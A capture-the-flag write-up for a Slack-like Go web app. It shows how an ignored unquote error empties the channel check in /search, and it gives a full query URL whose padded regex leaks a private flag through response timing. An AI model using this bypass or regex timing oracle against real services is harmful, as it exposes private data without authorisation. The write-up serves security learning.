Rating:

We are given a web app like Slack.
We need to get the posts from that app's private channel, including the FLAG posted by Bot.

Reading the source code, we see that the endpoints we can inject parameters into are `/history` and `/search`.

`/history` endpoint has `path.Clean` and `strings. HasPrefix` validation, so the program doesn't load the file with FLAG.
```go
dir, _ := strconv.Unquote(channelID[0])
dir = path.Clean(dir)
if strings.HasPrefix(dir, "G") {
http.Error(w, "You cannot view private channels, sorry!", 403)
return
}
messages := []Message{}
filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error {
if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") {

```

`/search` endpoint doesn't have `path.Clean` validation and errors of `strconv.Unquote` are ignored.
Therefore, if you give a query returns an error (e.g. `channel=""""`), `dir` variable is empty, bypassing `strings.HasPrefix` validation.

However, in `/search` endpoint, if the user of the message is not in the `users.json`, the message will be sent to It is not included in the response.
(Messages containing FLAG are Bot posts!)
So we have to figure out other way to get the FLAG.
```go
filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error {
if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") {
newMessages := []Message{}
readJSON(path, &newMessages)
for _, message := range newMessages {
if re.MatchString(message.Text) {
// Fill in user info
for _, user := range users {
if user.ID == message.UserID {
```

Notice `re.MatchString` after reading messages.
In this line, if you can see that the response is slower or faster when you give a certain query, you may be able to determine if the query is correct or not.

Golang uses an algorithm called DFA, which means that the processing time does not grow exponentially.
However, we were able to give a long enough query here to give a query that could be discriminated even with a linear increase in processing time.

The query template we used is as follows.
```
http://34.84.233.159:49670/api/search?channel=%22%22%22%22&q=%22^Reminder: The flag is TSGCTF.<FLAG_PREFIX>[${charset}]|^.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.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?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................%22
```

When you fetch it from Chrome console, the response is only slightly faster (roughly 5 ms) when the first half of the query matches the FLAG.
We did a manual binary search to get the FLAG using this difference.

![](https://i.imgur.com/iYuiuG3.png)
![](https://i.imgur.com/wGNvuaF.png)

---

An unrelated story.
Our team was terribly hesitant to use ReDoS for this problem because we were using ReDoS to get the FLAG both Note and Note2 .